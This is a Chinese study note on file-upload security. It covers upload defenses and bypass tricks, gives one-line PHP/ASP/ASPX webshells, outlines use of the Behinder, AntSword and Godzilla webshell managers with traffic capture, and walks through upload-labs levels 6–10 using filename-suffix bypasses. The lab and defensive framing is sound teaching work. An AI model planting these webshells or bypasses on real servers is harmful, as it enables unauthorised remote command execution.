- 文件上传绕过手段和防御手段总结
文件上传防御手段:
文件类型验证:只允许上传特定类型的文件,如图片、文档等,拒绝执行脚本和其他可执行文件。
MIME类型检查:验证上传文件的MIME类型与实际文件类型是否一致。
文件大小限制:限制上传文件的大小,防止大文件上传导致服务器性能下降或存储空间被占满。
文件内容检查:对上传的文件内容进行检查,排除隐藏的恶意代码。
上传目录隔离:将用户上传的文件存放于特定的隔离目录,与网站核心文件系统分离,减少安全风险。
权限控制:确保上传的文件只能由拥有相应权限的用户访问。
病毒扫描:在上传前后对文件进行病毒扫描,防止恶意软件传播。
安全编程实践:在开发过程中采用安全编码规范,避免引入安全漏洞。
安全配置:服务器和应用程序都应进行安全配置,如关闭不必要的服务,定期更新软件等。
持续监控:对服务器进行持续的安全监控,及时发现异常行为。
文件上传绕过手段:
前端绕过:通过修改前端代码或绕过前端验证机制上传恶意文件。
MIME类型绕过:在上传时修改HTTP请求中的Content-Type字段,将文件伪装成可执行类型。
后缀名绕过:通过在文件名中添加点来绕过后缀名检查,如上传image.jpg.php,服务器可能会将其处理为.php文件。
.htaccess绕过:上传.htaccess文件,通过修改服务器配置来执行恶意代码。
点绕过:在文件名后添加点,使得服务器在处理时去掉末尾的点,从而绕过文件后缀检查。
大小写绕过:利用操作系统对文件大小写不敏感的特性,通过大小写变异来上传恶意文件。
特殊字符绕过:在文件名或内容中使用特殊字符,可能触发文件解析错误或执行意外的代码。
文件包含:通过PHP等语言的文件包含功能,上传包含恶意代码的文件。
条件竞争:利用上传功能的竞争条件,上传恶意文件。
- 文件上传常用一句话木马
常见一句话木马
php: <?php @eval($_POST['pass']);?>
<?php system($_GET['cmd']);?>
asp: <%eval request ("pass")%>
aspx: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
- 三种webshell管理工具
- 冰蝎
打开冰蝎
创建shell.php
将shell.php上传到靶场的目录下并进行链接
使用wireshark分析流量
找到具体包
- 蚁剑
打开蚁剑
配置代理
创建一个一句话木马并上传到后台
使用蚁剑连接,都是点点点操作
连接成功
使用wireshark进行流量分析
- 哥斯拉
打开哥斯拉并上传新的木马
配置url代理
连接成功,弹个calc看看
弹出成功
同样使用shark进行流量分析
哥斯拉大量收发包,这里没有找到具体执行calc命令的包
- 文件上传无回显如何查找webshell地址
检查上传接口代码:首先检查文件上传的接口代码,确认上传的文件是否被正确接收和处理。可以尝试上传一个简单的文件,如文本文件,然后检查服务器上的相应位置是否生成了该文件。
检查服务器文件系统:在服务器文件系统中搜索常见的WebShell后缀名,如.php、.asp、.jsp等。可以通过文件管理器或使用命令行工具(如find在Linux系统中)来查找这些文件。
审查服务器日志:服务器日志可能包含了文件上传的相关信息,包括上传的文件名、上传者的IP地址等。检查这些日志可以帮助定位WebShell文件。
使用在线工具和服务:有一些在线的工具和服务专门用于扫描和查找WebShell文件。使用这些工具时,请确保有足够的权限,并且不要违反法律法规。
使用专业安全软件:使用具有WebShell查杀功能的安全软件可以帮助自动化的查找和清除WebShell文件。
- 文件上传表单的无参/有参情况下构造表单
文件上传表单通常包含一个或多个输入字段,允许用户选择要上传的文件。在HTML中,这通常通过<input>标签的type="file"属性来实现。表单可以包含其他字段,如文本字段、隐藏字段等,以提供更多上下文信息或其他功能。
以下是一个简单的文件上传表单的示例,它包含一个文件输入字段和一个提交按钮:
HTML
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="上传文件" />
</form>
在这个表单中:
action属性指定了处理文件上传的脚本的URL(在本例中为upload.php)。
method属性指定了表单数据提交的方法,通常是post,以确保数据安全地传输。
enctype属性设置为multipart/form-data,这是文件上传所需的编码类型。
<input type="file">标签允许用户选择一个文件。name属性用于在提交表单时将文件数据发送到服务器。
如果有其他参数需要传递,可以在表单中添加其他的<input>标签,例如:
HTML
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="text" name="comment" value="文件描述" />
<input type="hidden" name="user_id" value="123" />
<input type="submit" value="上传文件" />
</form>
在这个修改后的表单中:
<input type="text">标签允许用户输入文本,该文本将与文件一起上传到服务器。
<input type="hidden">标签用于传递那些不想让用户直接编辑的信息,比如用户ID。
在服务器端,通常需要使用相应的语言和库来处理这些上传的文件。例如,在PHP中,可以使用$_FILES超级全局数组来访问上传的文件数据。
- upload-labs靶场通关第6-第10关
第六关、
经过尝试,我们发现后端对文件名后缀的大小写检测不严谨,使用burp抓包之后进行修改
更改文件上传的content-type为PHp后缀,并发送
从respone可以看到上传完成并且文件路径为/upload/202409100722194887.png
以此路径使用冰蝎进行连接
完成
第七关、
尝试使用前几关方法均无效,我们尝试再后缀名后再加空格“ ”即可完成文件上传
使用shell07.php 即可完成上传
但是直接来连接是没有反应的
重新上传并且使用burp抓包看看情况
抓包后可以看到我们的文件名上传之后被更改了,重新连接
连接成功
第八关、
多次尝试之后发现后端对上传的文件后缀名未做去点“.”的操作
将shell08.php.文件进行上传
上传成功,我们使用冰蝎进行连接
完成
第九关、
多次尝试发现后端对上传的文件后缀名未做去::$DATA处理
Windows系统下,如果上传的文件名为`9.php::$DATA`会在服务器上生成一个9.php的文件,其内容和所上传文件内容相同并被解析。
构造文件并上传
上传成功
使用冰蝎进行连接没成功,发现使用Windows系统是无法这样构建文件名的,所以我们重新使用Linux系统进行上传
上传成功,使用冰蝎进行连接
第十关、
多次尝试发现上传文件名为 .php. .(点+php+点+空格+点)可以进行绕过
上传成功
同样使用冰蝎进行连接
成功